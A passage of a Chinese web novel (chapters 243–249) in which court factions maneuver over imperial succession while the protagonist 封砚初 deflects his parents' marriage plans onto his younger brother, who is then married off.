黎皇后的不远处放置着冰鉴,散发出阵阵凉意,将这热气隔绝在门外,丝毫感受不到外头的炎热。
自从收到父亲的消息后,黎皇后的神情并未见松散,她对这个结果并不满意,可自己困在深宫鞭长莫及,只能交给父亲去办。在她心里,只要一日未真正见到那个旨意,就一日不安心。
本就烦心,现在又听见外头这没完没了的蝉鸣更添烦躁。黎皇后的凤目变得凌厉,就连声音都尖锐了几分,“吵**!还不让人将这蝉打下来!”
宫人立即应声出去,随手指了几个宫女太监,蹙眉厉声呵斥,“没听见这蝉声吗?娘娘正在休息,还不赶紧将它打下来!”
这几名宫女太监心中直叫苦,觉得倒霉让他们碰上了,不过还是赶紧找工具打蝉。
勤政殿内。
如今的景和帝可不敢像以前一样忙个不停。只是现在虽然闲着,但他的脑子一刻也未曾停歇。
江荣海走到殿门前,先是擦了擦额上的汗,然后又理了理衣裳,这才捧着东西进去,“陛下,玄麟卫送了密录本进来。”
景和帝听见声音之后,缓缓睁开双眼,“拿过来吧!”江荣海连忙躬身将东西奉上。
他打开密录本一瞧,嘴角罕见的扯起一抹笑意,甚至有心情同江荣海说几句话,“看来邢勉没有辜负朕心啊。”
随后又翻了一页,只见上头写着孙家的事,景和帝原本弯起的嘴角垂了下来,“这孙延年出宫后去了封砚初的住处,紧接着就派人前往安州府?”
事到如今,景和帝不会再小瞧这个他亲封的状元郎。前段时间,玄麟卫的娄遥来禀,安插在武安侯身边的人**。事后探查才知道,原来是探听消息时被封砚初发现,一掌将其毙命!还让人说不出什么来,而且广林巷的那处宅院,已经无法靠近。
思及此处,他看向江荣海,“广林巷那边还是探不进去吗?”
江荣海清楚陛下是想问什么,赶紧回答,“未曾听娄大人提起有什么进展。封主事那里还是探不进去。不过,因为孙延年一直与其父在边关,所以他的宅子里倒是安**去一个。”
其实不怪景和帝关注,自从他有了决定之后,难免对老六交好之人会多关注一些,何况两人之前就有联系。
他听了这话,不禁想到老六这段时日的行踪。太过安分,当真就老老实实的处理着靖安武备营的事情。只要邢勉的孙子不影响武备营的差事,老六对其与黎文堂的儿子交好之事,也是不管不问,
难道老六当真毫无问鼎皇位之心?一时之间思绪翻腾,他按了按发闷的胸口。
江荣海十分利索的从暗格里拿出一个药瓶,从里头倒出一丸药递给景和帝。
景和帝用水送服,过了一小会儿,胸闷才好些。
话说封砚初这段时日,除了工作之外,再无其他烦心事,甚至沈在云的医馆恢复正常以后,他又去当了一日的坐堂大夫。
直到这日,斗方来到‘枕松闲居’。
与暮山相比,斗方明显活泼不少,在这五个护卫里头,有些像大哥哥一样的存在,“二郎君,这是世子让小的转交给您的信。”
封砚初大概猜到里头的东西,他接过后放在一旁的桌子上,“既然来了,也不着急走,你正好与暮山说说话。”
“是,二郎君,小的先出去了。”斗方恭
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敬地行礼出了屋。
封砚初瞧着斗方出去后,才拆开信细看,随即神色一凝,眉间浮出一抹困惑。
大哥特意派人去了一趟安州府,没想到在那里没看到五皇子的人,却发现黎家竟在暗中接触安州守将鲁丘,这让他心里原先疑惑的地方解开了,但又新增了不解之处。
黎家让黎大郎交好邢重归,即使有另一层意思,难道黎家不清楚邢勉是历经三朝的老臣,是经历过惨烈的夺嫡,自然清楚如何站位。在景和帝还在位时,很难让其有所偏向。看来黎家为了以防万一,并未将鸡蛋放在一个篮子里。
只是这安王(五皇子)未免也**静了些。景和帝身体有恙,他的人虽然在朝中不停地喊着立储,可问题是黎家已经着手,拉拢军中势力,而安王(五皇子)竟半点不着急,这太奇怪了。
封砚初读完信之后将其点燃,看着火苗渐渐吞噬了信纸,大哥与他有同样的困惑。
靖安武备营。
因为天气炎热,未免中暑,士兵们的训练时间变成了早晚。此刻,这些人要么待在屋里,要么在树荫下乘凉,要么正在昏昏欲睡,可谓是一片安静。
而六皇子却很激动。他用药水仔细的涂着纸张,直至上面显示出一串密文,看了上面的内容,内心久久不能平复。
人性到底是自私的。肃王终究还是将上面的内容,偷偷告诉给了儿子沈在云,为的就是让其早早接触六皇子,好为将来做打算。可肃王不知道的是,他的儿子早就与六皇子交情匪浅。
“李延!”六皇子的眼睛冒着光,几乎比屋外的日头还要亮。
“殿下有何吩咐?”李延看出六皇子很兴奋,但他并未多嘴。
“去告诉安王(五皇子),就说我同意了!”六皇子嘴角微微弯起,似笑非笑。
第二百四十四章 这算怎么回事嘛
原本还晴朗的天空变得阴沉,乌云翻滚着,豆大的雨滴,‘啪嗒啪嗒’的砸在地面上,竟将浮土溅的飞起。时隔一个多月,大雨终于光顾,滋润了这干涸的土地。
原本还在外面的士兵匆匆忙忙的往屋子里跑,有的则是将外头的器具往里收,免得被雨水浸湿。
门并未关,雨水顺着风,斜斜飘进来,地面瞬间湿了一片。
六皇子站在窗边,任由衣裳被打湿。此刻,他心情甚美,觉得好雨知时节,就连方才的燥热也已全部消散。
他已经知道了最终答案,可若是没有实力,即使有答案也没用,甚至还会成为众矢之的。
黎家已经开始拉拢邢家,甚至还派人去了安州府;安王(五皇子)自然不甘示弱,可是拉拢禁军就相当于在父皇跟前耀武扬威,那是找死!所以他就成为最好的选择。如此正好躲在安王身后,图谋自己的事。
申府。
首辅申大人难得有片刻的清闲,他抬头望着这雨水,心里略微松了一口气。此雨来的正是时候,最近这些日子天气干旱,他心中焦灼,若继续这样,不仅百姓遭殃,恐怕还会有人生事端,好将此安在天罚身上,顺势向陛下发难,说是全因储君未立导致的。
可他很清楚,陛下之前不立储君是因为都不合适,如今有了合适的,身体却出了问题。
现在,一是担心有人倒戈向未来新君,架空自己的权力;二是担心未来新君会受到黎家和安王的猛烈攻击,还未承袭皇位便已倒下;三是担心一旦六皇子的母族知道这件事,难免会借机生事,毕竟前车之鉴犹在眼前。
老妻刘氏正在翻看各家子弟的名录,与儿媳曲氏商量着哪家的好一些。
曲氏指着安南将军孙知微之长子孙延年说道:“母亲,这个孙延年不错,也是个英勇的郎君。”
刘氏看着孙延年的小像,颇为犹豫,“长得倒是周正,为人并无劣迹,上次宴会上,他母亲还说儿子到了年岁要相看,可毕竟是武将之后,将来难免要上战场,若是有个好歹,……不妥不妥。”
刘氏有三个亲生的儿子,可膝下唯有一女,难免疼惜了些。只是如今到了要相看的年纪,可也不舍得女儿吃一丁点苦,自然是要千挑万选。
曲氏又拿起吉四郎的画像,随即摇头轻叹,“吉四郎倒是不错,武艺不凡,又在京中任职,只是长得有些普通,也黑了些,文采也寻常。”
说话间又拿起平昭公主的长子陈泽文的小像,递了过去,“母亲,我瞧着陈家郎君不错,身上没有那些大家公子的纨绔之气,人也知上进。”
刘氏想了想还是放到一旁,“倒是个好儿郎,可平昭公主仅此一子,众星捧月般的长大,我的女儿自幼娇养,岂能去哄着他?”
曲氏又拿了一张小像,“最近武安侯府的大娘子在为她家二郎相看,我记得她家大郎娶的是永定伯汪家的嫡长女。”
刘氏拿过去一瞧,“我听你父亲提起过,确实优秀。而且长得也是温润俊秀,不仅是文科状元,武艺也不凡,好像还会些医术;虽说是家中的庶次子,可唐大娘子膝下只有女儿,倒也不妨事;不过上门求亲的也不少,这唐大娘子都快挑花眼了。”
“唯一不好之处便是他家全是庶子,这一个肚皮出来的都难免打架,更别说还不是一个娘,府中人情难免复杂。”说完这话便将小像放到一旁。
刘氏看过来看过去,都找不到一个人才,长相,家境,人情都完美的,不是这里不好,就是那里有缺憾。
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>曲氏见状劝道:“哪有十全十美的,妹妹自然出众,可咱家能选的也有限。何况这武安侯府将来的爵位也落不到他身上,将来肯定是要分府别居的。”
申家一向不涉足党政与夺嫡,自然不会从安王(五皇子)和庄王(九皇子)两边的人里挑选,所以范围当然窄了。
就在两人说话之际,申大人不知何时出现在门口。
曲氏赶紧行了一礼,“父亲。”随后便退了出去。
刘氏见到夫君来了,语气并不好,“你不忙自己的去,怎的还来打扰我?”
申大人并未回答,而是问道:“你选了谁?”
一听这话,刘氏叹气道:“倒是有几个不错的,可都不甚完美。”
申大人一眼便看见了封砚初的小像,拿起来说道:“此子倒是不错,就是太过聪慧。”
刘氏不解,“聪慧还不好吗?我是嫌武安侯府都是庶子,家中人情难免复杂,女儿应对起来不轻松。”
“那就先不着急相看,过两年也不晚。”申大人说完这话,将手中的小像随意扔在桌上。
“可现在不提前相看,万一将来好儿郎都被挑走了,可怎么办?难道要女儿将就不成?”刘氏十分不悦。
没想到申大人却说了一段意味深长的话,“京城这么多人,自然还有很多好儿郎,现在挑选为时过早。”随后喊了下人进来,将东西都收下去。
“可我还没看完呢……”刘氏眼睁睁看着夫君让人将这些名录和小像收起下去。
“夫人不必忧心,我自有打算,女儿还小,让她在闺阁中多玩两年,毕竟将来去了夫家,就不得自由了。”申大人并未多留,说完这话就离开了。
只留下满脸困惑的刘氏,“这……这算怎么回事嘛!”
第二百四十五章 将三郎退出去挡着
封砚初这日下职准备回‘枕松闲居’,没想到才出兵部的大门,就碰到了白管家的儿子白长庚。
对方一见他就立即上前行礼,“二郎君安。”
他疑惑道:“可是家里有什么事?”
白长庚却只说,“小的也不知道,是大娘子特意让小的叫您回去一趟。”
“母亲?”封砚初并未纠结,直接回了武安侯府。
“儿子问母亲安,您叫儿子回来可是有事吩咐?”他进门行礼之时,留意着大娘子的表情,对方神色不见焦急,便以为事情并不大。
大娘子一边让铜雀看茶,一边笑着说道:“也没什么大事,不过是叫你回来说说话罢了。时间过得真快,你已经长大,还当了官,又是文武全才,在外头不知有多少人羡慕我。”
封砚初被大娘子的笑以及这番话,弄的心里****的,总觉得不是什么好事,就连端起茶盏的手都放下了,“母亲,您还是有话直说吧,这样弄的儿子心里发毛。”
大娘子听后‘噗嗤’一声被逗笑了,“你当官也有些日子了,多少事情对你来说,也能轻松解决,怎的我才说话就心里发毛?”
话音刚落,父亲封简宁也进来了,甚至连官服都没来得及换下来,“哦,是我让你母亲将你叫回来的。”
“父亲可是有事吩咐?”封砚初问道。
封简宁清了清嗓子,“俗话说,男大当婚,女大当嫁。而且成家立业乃是职责,如今你业已立,便到了该成家的年纪了,你母亲帮着挑了几家还不错的,你看一看,若是可以,就上门提亲,行三书六礼。”
封砚初被这话弄的惊住了,天呐,他还未及弱冠呢,“父亲,母亲,成婚的事实在不必着急,何况儿子还没到二十呢,再者说堂兄还未成婚,我这个做弟弟的怎可抢在前头?”
大娘子却摆手道:“你婶娘说了,等明年秋闱之后,再给明儿说亲,所以你在前头成婚也无妨。”
封简宁更是直接说,“你也老大不小了,既已当官,那就得成婚,你后头还有三郎呢,弟弟在哥哥前头成婚,别到时候让众人揣测你有什么问题,穷人家想成婚还不能够呢,你竟还推脱?”
封砚初在父亲说话期间思绪已经捋好了,“父亲,母亲,儿子不是说不愿意成婚,只是当下实在不是好时机。”说了这话,看向一旁的下人,“都出去!不许探听!”
大娘子见二郎神情严肃,对半夏和铜雀道:“你俩在外头守着,不许让人靠近!”这两人得了命令连忙出去。
过了一小会儿,封砚初留心听了听外头的动静,这才开口道:“父亲,母亲,陛下得了心衰之症,眼见着也没几年。如今庄王(九皇子)和安王(五皇子)两人争斗不休,多少朝臣都牵扯进去了,将来谁能问鼎还不好说。”
大娘子听到这个消息,拿着帕子的手捏得紧紧地,将瞳孔中的惊愕之色强压下来,十分认可的点头道:“说得对,现在还不是时候,反正你年岁也不大,男子晚成婚两年也无所谓。”
封砚初继续说道:“更何况谁家暗中投靠了,咱们又怎能知道?万一将来倒了,或是牵连到家里可怎么办?”
封简宁看向儿子,没想到对方为了不成婚,竟然连这都能说出来。这话骗骗大娘子也就罢了,谁家有倒向,谁家身子是歪的,谁家三不靠,大家心里明镜似的。若是连这些都把握不住,那干脆辞官别做了。
他思及此处,只冷哼一声,“罢了,既然你不愿意,那便暂且搁置,只是三年考核期满,你想要外放,到时必须成婚!”
封砚初嘴里连忙应了,“是,父亲。”可心里却想着,到时候再说。
大娘子有些可惜的叹着气,“唉,原本有好几家来问,我还觉得不错来着,可惜了。”
封砚初见逃过一劫,心里松了一口气,这古今催婚都让人不好受。
不过,他面
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上依旧看不出任何变化,“母亲也不必可惜,我倒是无妨,只是三弟性子一向跳脱,如今又在宫中的禁卫军当差,还需得有人管束才是,母亲不妨给三弟先留意着。”
大娘子听后点头,“也是,前些日子张姨娘还同我说,以前三郎读书需得要时时督促。如今家里的人都有事要忙,看来还是得给他娶一房厉害些的媳妇管一管。”
封砚初嘴角微微弯起一个弧度,又暗戳戳地为大娘子坚定了一下决心,“母亲说的是,他自幼就不喜读书,没少被管教,可依旧不顶事。若是没人在旁监督,时日一长,没准还会有别的变故。他小时候还被小厮哄骗过银钱,后来更是因为月钱短缺,瞒着家里偷偷做起租书的行当。”
大娘子一听这话,立即担心起来。此刻在她心里,二郎不必着急,反而三郎的婚事迫在眉睫,“你这一提醒倒让我忧心,看来拖不得了。”
封简宁端起茶杯,不动声色的扫了一眼次子,这三言两语的就将三郎推出去挡着,问题是大娘子还十分认可。
到底是自己的儿子,虽说三郎的妻子出身不用太好,但他也要说两句,免得让人觉得偏心太过。
“为三郎选妻,出身倒不妨碍,紧要的是品行好就行,没什么事,我就走了。”封简宁定了调子,就起身离开了。
封砚初见没他什么事,不过前后脚也走了。
直到封砚敏进来,看母亲一副思索着什么的样子,问道:“母亲,您和父亲为二郎定了哪家?”
这一句话冷不丁的砸过来,大娘子的思绪也被拉回来了,“哦~二郎先不着急,三郎的婚事却是拖不得了。”
封砚敏疑惑道:“三郎?您方才不是与父亲在说二郎的婚事吗?怎么扯上三郎了?”
大娘子听后,将方才二郎的话又说了一遍。
封砚敏张了张嘴,并未拆穿二郎的心思,话到嘴边化成了,“哦……哦~这样啊!”
第二百四十六章 可怜的三郎啊
当树上的秋桂传出沁人心脾的香气,三郎的婚事被定下来了,没人通知他,只是告诉他娶的是大理寺寺正崔季诠之女崔乐薇。
“什么?我要娶妻了?”三郎封砚池没想到,他才下职回来,当头就砸来这个消息!
他眼睛瞪的老大,满脸都是被突如其来的信息弄懵了的表情,缓了好一会儿,才道:“不对呀,二哥还没成亲,怎的就轮到我了?”
其实对于成亲,三郎并不排斥,他更担心的是自己的月钱。本来在银钱上就紧张,若是成婚,岂不是被管的更严?不用想也能预料,到时候肯定没人为自己说话,甚至姨娘还会拍手叫好呢。
大娘子见此看向老太太,“看我说的如何?就三郎这个性子,也该有人管一管。”
三郎看向还在慢悠悠喝茶的二哥,对其余人说,“你们是将二哥忘了吗?”
封砚初放下茶盏,轻轻瞟了一眼对方,心里想着:只能死道友不死贫道,三弟,对不起了!
他随后缓缓道:“你看我做甚?若非你性子跳脱,没个定性,每月甚至连月银都不够花,父亲和母亲也不会想这个办法。上次还是我给你拿了一些,否则堂堂一个侯府郎君,恐怕连日常交际的钱都没有。”
大娘子一听这话拧眉看去,“什么?还朝二郎伸手要?你吃住都在家里,一应用度也无需花钱,怎的还不够?莫非做了别的事情,瞒着家里?”此话一出,所有人的眼睛都盯着三郎。
老太太甚至还说,“你与二郎不同,他在外头住着花费不少,就这都不曾朝家里伸手,你莫不是在外头鬼混?”其实老太太是怀疑三郎去了勾栏瓦肆,只是还有几个姑娘在,不好明说。
这话让封砚初有些汗颜,他虽然住在‘枕松闲居’,但是自己的月钱、仆人的月银、还有每个季度的衣裳、以及其他用度都是府里供应。
更别提俸禄也是自己收着,而且还有一份给人配药的收入,老太太甚至私底下偷偷给了他一个铺面,就担心自己钱不够花,还不好意思张嘴。
三郎见状连忙摆手,“没有,绝对没有!我也不知怎的,每月的月钱都不够用。”
大娘子这才松了一口气,朝众人说道:“看我说的如何?三郎身边还是得有人管着他。”
老太太的余光暗暗扫了一眼二郎,亦点头认可,“这崔家姑娘的母亲虽说早逝,却是一个爽利的性子,也正因此管家也是好手,等将来进门,三郎也不用像现在似的。”
直至次日,三郎这才反应过来。
气呼呼道:“二哥,你昨日为何要说我月钱不够用的事?咱们不是说好了有事不告状的吗?”
封砚初并不着急,甚至还给对方倒了饮子,“喝点饮子静静心。”
三郎虽生气,但还是端起一饮而尽,然后将头扭向一旁。
“你如今多大?已经是当差的人了,那约定是什么时候的事?”封砚初反问着。
果然,三郎拧眉道:“那是幼时的约定。”
封砚初双眼盯着对方,“你也说了,那是幼时的约定。现下你已经长大了,要学着肩负起责任,而不是这样混过一日是一日。你先说说,你是不是每个月的月钱都不够用?”
三郎偷偷瞥了一眼二哥,点头承认,“是不够用。”
“那我说的不对吗?”对上三郎,封砚初手拿把掐。
三郎的气势更弱了,“说得对。”
“你就是不为自己着想,也要为张姨娘着想,难道要让她一直为你操心不成?她不过是盼着你能成家立业而已,你不想想自己的错处,竟还有脸找我?你可知错了?”封砚初越说到最后,语气愈发严厉。
三郎被说的连头都不好意思抬,低声说着,“二哥,我错了。”
封砚初见状,语重心长道:“家里每个人都有自己的事,对你难免疏忽,可你
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已经不再是小孩了,来日娶妻生子,那是要肩负起为人夫,为人父的责任。只有成了家,你才能明白为人父母的苦心,作为儿子能力有限帮不上忙,但不给长辈添乱这点小事还做不到吗?”
三郎被说的愈发愧疚,他觉得自己昏了头,二哥为自己的前程着想,家里为自己婚事忙碌,可他呢?竟然还生对方的气,二哥所作所为都是为了他好,难道还能害他不成?
“二哥,对不起。”
封砚初这才拍了拍对方的肩膀,“知错就改,善莫大焉。你自小就不会管钱,也不擅长这些。这不是你的错,但将来成亲,有人帮你管着也好,不要总想着不自由,人生在世哪能处处圆满?回去好好想想!”
三郎见状认真地点点头,看向二哥的目光十分真诚,“二哥,我回去就反思自己,我觉得应该是这几个月,总是和那帮人混在一起,思想受到了影响,做事也变得冲动。”
封砚初的语气柔和了几分,挥手道:“去吧。”
直到三郎出去之后,他的嘴角这才扯出一抹笑,“打发你还不容易?”
而大郎此时也从门外进来,摇头轻叹,语气中带着调侃的意味,“可怜的三郎啊——”
随后看朝封砚初道:“我原本还想着要不要进来帮你说几句,可方才见三郎那般愧疚,又急匆匆的离开,连我都没瞧见,想来是不用了。”
封砚初一边让坐,一边笑道:“他啊,虽说有长进,可性子还有些幼稚,但愿以后能好些。”
大郎落座后,感慨着,“经历了事,自然会有大长进。”而他的长大与二弟的刺激脱不开关系。
自己本就是庶出,底下还有一个优秀的弟弟,怎么能不紧迫?更别说生母还时不时在耳边撺掇,嫡母也渐渐疏远,要不是他自我调节,再加上本就不是心胸狭窄之人,而二弟一贯大度不计较,否则早就被逼得心理扭曲。
第二百四十七章 实则互相防范
其实两人都明白,三郎之所以这样,那是因为上头有两个哥哥,家里的重担都在他们身上。再加上父亲一向忽视,自然就养成了一副随遇而安,性子跳脱,且时时要人在后头催促监督,一旦松开手就故态萌发。
大郎看着二郎问道:“只是眼见着三郎都要成婚了,你当真不想吗?”
这话,最近封砚初听了不下几十次,“我如今的心思不在这上头,再说我还未及弱冠呢,过两年再说。”
大郎笑道:“成婚后,有个知冷知热的人照顾你岂不好?”心里觉得对方看着成熟睿智,谋算一切的样子,实际还没长大,只想着自在,不知成婚的好处。
“没这个人照顾,我这么多年也活的挺好。”封砚初实在没忍住,朝对方翻了个白眼。
大郎见二郎不悦,顺势住了嘴,说起旁的事情,“这段时日,我也细细留意,并未发现安王(五皇子)有何动作,可我心里总觉得他不会这么安静,私底下肯定谋算着什么,只是还探查不到。”
周围所有人都下去了,这是封砚初的规矩。即使他回来的并不多,但下人们还是遵守着,无人敢犯。
他为大郎亲自倒了茶,眼底闪过一丝微光,声音沉静无波,“我前几日却查出来了,安王拉拢了六皇子作为后手。”
大郎喝茶的动作十分缓慢,眼中闪过一丝讶异,“六皇子?”
“对,六皇子。”封砚初再次肯定,这两月他探了个遍,并非没怀疑六皇子,毕竟对方有前车之鉴,以前就躲在乐平王(大皇子)身后,难免这次不会故技重演。
奈何六皇子藏的很深,在外表现出不想掺和的样子,对副指挥使邢重归的所作所为也视而不见。
要不是前两日他意外发现,六皇子的护卫——李延,时常去灵台寺祈福,就多留意了一番。之后便跟踪了与李延有过接触之人,没想到兜兜转转,最后竟通往安王府。
大郎脸上划过了然之色,随即恢复成往日的模样,嘴角勾起一抹温和的笑,“如此就说的通了,安王以为自己成功拉拢了六皇子,自然不用忧虑;而六皇子以前就在乐平王身后,现在对方一直幽禁未出,如今再作冯妇也属正常。”
此刻,他心里已经很清楚,六皇子与二郎看似互为联盟,实则相互防范。可见即使对方将来登上皇位,也并非是个心胸开阔的君王,毕竟这种藏于别人身后,意图暗箭伤人的行为,委实称不上好手段。
思及此处,不禁忧从心来,“二郎,你向来聪慧。若来日对方登基,你固然会被委以重任,可也会被防范,最终结果未必是好。”
封砚初眼眸微闪,嘴角勾起一抹淡淡的笑,仿佛对此无所谓的样子,还说起一个看似无关的话题,“大哥,你可知先太子为何早逝?这些年陛下一直未立储君,虽说朝臣时有提及,但都不了了之!”
大郎不理解二郎为何突然间提起这个,但还是回应道:“陛下那会儿才登基没多久,忙于朝政,且先太子本就体弱,据说是一下子太过劳累的缘故。至于为何不立储君,想来陛下也没有合适的人选吧。”
“人选?大哥,那个位置上的人,合不合适并不重要,要紧的是得有这么个人在上头,一个国家,安稳最重要!可朝臣们却一再妥协,这因为大家对陛下不得不做的让步!”封砚初
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说这话之时,眼神迸发锐利的光芒。
“让步?难道当初先太子不是被贵妃母子所害?”在大郎心里,这就是一场皇子之间夺嫡的争斗,只不过先太子败了而已。
封砚初冷笑着,“贵妃和大皇子?若真是他们所害,陛下岂会容忍到今日?更别说大皇子根本不是先太子的对手!”那就是一个只知横冲直撞的莽夫。
“不是他们,还能是谁?”大郎没想到还有别的答案。
“就怪先太子太过聪慧,他极力主张扩充武将实力,提出的一些政策损害了所有人的利益。否则他在潜邸时还好好的,怎么一进东宫没两年就薨逝了,那是因为真正想害他的是满朝文武,这些人怎么会允许未来有一个不好掌控的皇帝存在呢?”封砚初说这话时脸上没有任何表情,整个过程十分平静。
未等大郎开口,他继续说道:“仁宗乃是陛下的嫡长兄,为何在独子没了之后,不久也驾崩而去?兄终弟及,皇位不仅没传给一母同胞的永王,对方还落了个谋逆赐死的下场?”
此时此刻,就是再迟钝也会意识到不对,更何况大郎本就聪明,只是他不敢继续深想罢了,“你这是什么意思?”
此时,封砚初起身缓步走到窗边,指着‘枕松闲居’的方向,“大哥,我如今住的广林巷,原来是庆国公府的位置。他当初扶持的就是永王,可最终连带着整个国公府和周围一整片,全部葬身火海,无一人生还。导致这些年过去,那里依旧冷清,而此事,大家讳莫如深,从不提及。”
大郎眉心微蹙,定眼瞧着对方,那句话最终还是问出了口,“你是有什么发现吗?”
第二百四十八章 毕竟是亲兄弟,何至于这样
秋风透过窗户吹进了屋里,还带着桂花的馥香,封砚初依旧望着外头,他的袖子随风浮动,说话的声音不急不缓,“书上只教臣子忠君爱国,教君王贤明睿智、爱民如子,可真正做到的又有几人?君王担心臣子的权柄过大压制皇权;臣子担心君权膨胀损及自身,谁都没错,不过是相互较量罢了。”
“仁宗至死都做不到,永王倒是想,可臣子们怎会容许,最后还不是落了个赐死的下场;陛下一开始也想较量,可先太子的死亡告诉他,不可操之过急,所以花了十几年的时间,好不容易将兵权拢在手里,现下却发现命不久矣,后继无人,看了一圈,唯有六皇子勉强。”
说到这里,他转身看向大郎,“人皆有私心,六皇子有,我亦然;可与我而言,他只是可能登上那个位置而已,即使坐上那个位置又如何,在我眼中,与这片土地上的人和物相比,他无足轻重。”
大郎神色里多了不同,他进入官场时日太短,想的最多的就是好好做事,努力不让武安侯府没落在他的手上,可即使如此,这些在他心里就已经占了太多的位置。
他的声音依旧温和,但多了一些担忧,“二郎,你想要做什么?”
此刻,封砚初的眼神变得炽热,甚至是充满野心,“其实我来到这个世界,最初不过是想逍遥恣意一生,仅此而已!但无论是祖父,还是父亲,亦或是你,都告诉我,武安侯府要败落了。毕竟一笔写不出两个‘封’字,同时让我明白生活在这个家里,就得肩负起封氏一族的兴衰,可我想要的不仅于此!”
他说到这里抬头看着天空,似乎要看透什么,“既然让我来了,又通过自己的努力做了官!这让我如何甘心就此泯于众生!我要的是名留青史,后人只要读到大晟的历史就绕不开我!如此才不算辜负我自己!”
大郎被这惊世骇俗之语惊地不轻,甚至于连端茶的手在空中滞留了好半晌都未察觉。“二郎……你……”
他并不觉得对方口中的,‘其实我来到这个世界’和‘既然我来了’,有何不妥;也并未察觉到这两句话里真正的意思。
此刻,封砚初已经恢复成为那副翩翩公子的模样,甚至嘴角含笑,“大哥,今日之言止于你我。”
大郎轻叹一声,“我知道了。”他很清楚,这话要是被父亲知道的话,肯定会责怪二郎野心勃勃,担心对方会累及侯府,可二郎的心比他和父亲的都要大,他甘愿帮扶对方。
封砚初见大郎一副愁容满面的样子,轻笑着,“大哥不必忧愁,难道你觉得六皇子将来做的,会比陛下还要好吗?不是谁都有太宗皇帝的魄力。”
大郎听后点头认同道:“是啊,太宗建立了大晟,他手握重兵,即使打压清除世家,那些人也不敢多言语一句。”
两人都不得不承认,太宗皇帝手段的铁血,当年有哪个臣子敢对太宗面前耍花腔,那就是找死。自从文宗之后,百姓的日子确实更上一层楼,可同时皇权也朝这些官员们做出了妥协。
有了再一,就有了再二再三,后头的皇帝想再收拢回去谈何容易。否则去年那轰轰烈烈的兵器倒卖案,勾结西戎案,又怎么可能只处置了那些根基相对浅一些的,真正的幕后之人未损分毫。
所以,在封砚初心里无论是皇权过重,或者臣子的权利过重都不好,唯有它们之间能做到相互制约,兴许会好一些吧,可这何其难。
在历史的洪流中,改变这一切很难,**自己可以做到哪一步,但同时心里很清楚,自己的方向是什么。
兄弟二人又说了一番话,大郎就告辞了,封砚初看着对方离开的背影思绪万千。
自从来到这个世界不过十几年,甚至还比前世少了十年,可他早已经变得面目全非,仿佛就是生于此地的侯门公子,只有他自己知道不是,也发觉内心的孤寂。
所以小的时候才那样调皮,可能只
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有这样才能证明他还是以前的自己,随着时间流逝,他看到了外头的世道,也为自己找到了新的证明方式。
‘噼里啪啦……’
随着迎亲的炮仗声响起,三郎封砚池成婚了,不过脸上还是那副乐呵呵的样子,只是在走路时,知道要放缓脚步等一等娘子——崔采薇。
就连大娘子见了也满意的点点头,“三郎自小便是大大咧咧的性子,他是男子难免粗枝大叶,不细心。如今你进了门,也能看着些。”
崔采薇才进门,起码表面上看起来十分温婉的样子,“是,母亲,儿媳谨记。”
大娘子继续说着,“他啊,一向是个不爱计较的人,以后像是这月钱,你就帮他收着,若是有客要宴请,让他再问你要。”
崔采薇心中惊讶,但还是应了,她本就是个喜欢管事的性子,“是,母亲。”
她原以为自己进门会被婆母为难,谁知对方直接将三郎的事尽数交给她,好像有种巴不得脱开手的感觉。
一旁的三郎见此一幕,依旧笑嘻嘻的样子。往日若是听了必定暗中皱眉不高兴,可现在瞧着已经完全接受了,看来也算是一个愿打,一个愿挨。
直至两人出门,刚好碰见封砚初,崔采薇这才发现,三郎连表情和动作都收了几分,“二哥。”
毕竟有弟妹在,封砚初只微微点头,然后对三郎叮嘱,“前两日,我见你的枪法气势虽足,但还是不够活学活用,以后要多练。”
三郎立即拱手郑重道:“二哥,我记住了,一定刻苦练习。”一直等到人走了以后,他这才松了一口气。
崔采薇见此好奇不已,“方才那个是你二哥,又不是老虎,你为什么这么怕他?你也不曾犯错啊?”
三郎听后叹道:“唉,你是不知道,前段时间我与禁卫军里的侍卫演练时输了,我二哥便盯得紧了些。”
“那也不至于如此吧?”崔采薇觉得毕竟是亲兄弟,何至于这样。
第二百四十九章 不会有任何人帮忙求情
三郎四处看了看,压低声音,一副贼眉鼠眼的样子,“在这个家里,最不能惹的就是我二哥。他一向聪明,又有出息,那就是家中长辈心里的宝贝疙瘩,一旦犯在他的手上,哼哼~”
崔采薇好奇道:“如何?”
三郎并未说话,而是拉着对方回到自己房间后,又将下人全打发出去,才开口说道:“除了堂兄,我一共兄弟四人,你知道为何今日不见四弟?”
“为何?”这崔采薇还真不知道,不仅没见人,就连她进门到现在都不见任何一人议论,心里还琢磨着私底下打听一下,此刻正疑惑着呢。
“之前四弟犯了错,具体什么错你就不必知道了。总之呢,在外头被我二哥正好堵了个正着,当时凡参与者,都受到他们家里人的教训和处罚。”三郎本不想说,但还是担心娘子才进门,不知轻重得罪二哥,到那时他可不敢求情,还不如现在挑明。
“四弟一回来就被我二哥罚跪,当时没一个人求情,最后被关在院子里不得而出,就连家里下人都不许议论。在这个家里,二哥是可以轻易改变我父亲决定的人,一旦犯了他的底线,不会有任何人帮忙求情!你也要记住才好!”他说这话时,神情是少有的严肃认真。
崔采薇见状连连点头,郑重道:“我记住了。”心里却明白了几分,虽说这爵位将来是大哥承袭,可二哥在侯府的地位也是至高无上,更是无人敢触碰其威严。
三郎听了这话,也略微松了一口气,就这么斜斜地靠在榻上,语气变得散漫了许多,“你是知道的,我二哥文武双全,甚至自学了医术。去年西戎使臣不仅挑衅大晟,甚至比武输了之后,还使暗器意图中伤我二哥,你知道结果如何了?”
“这个我听我父亲说起过,据说那西戎使臣被一掌打**!”崔采薇当时听了这件事只觉得热血沸腾,现如今重新提起,又是另一番感受。
“那可不,所以呀,二哥见我的武功如此废物,自然关注了些。他如今在兵部任主事,事情繁琐。他那么忙,可即便如此,有时候还会去城南的医馆里,当一日的坐堂大夫,为那些贫苦之人诊病,是不收诊费的!”三郎说到这里,也跟着佩服起来。
“他那么忙,竟还要操心你?”崔采薇对夫君有些无语,看来大娘子说的还真是对,这可不仅仅是月钱的事,其他方面也需得时时督促。
想到这里,她心里有些振奋,脸上竟浮出笑来。原本还担心嫁过来太无聊,这不就找着事情做了。
三郎被娘子脸上的笑弄的有些发毛,问道:“你突然笑什么?”
崔采薇瞧了瞧外头的天气,柔声道:“你也说自己演练输了,二哥那么忙还要操心这些,我瞧外面阳光正好,不如现在去外头练一练。”
“啊?现在吗?”三郎没想到来的这么快,他原本准备等到回门之后再说。
“去吧!”崔采薇话音刚落,瑞雪就进来回禀。
“郎君,娘子,双寿在外头求见。”
三郎嘴里嘟囔着,“他来做什么?”可到底让人进来了。
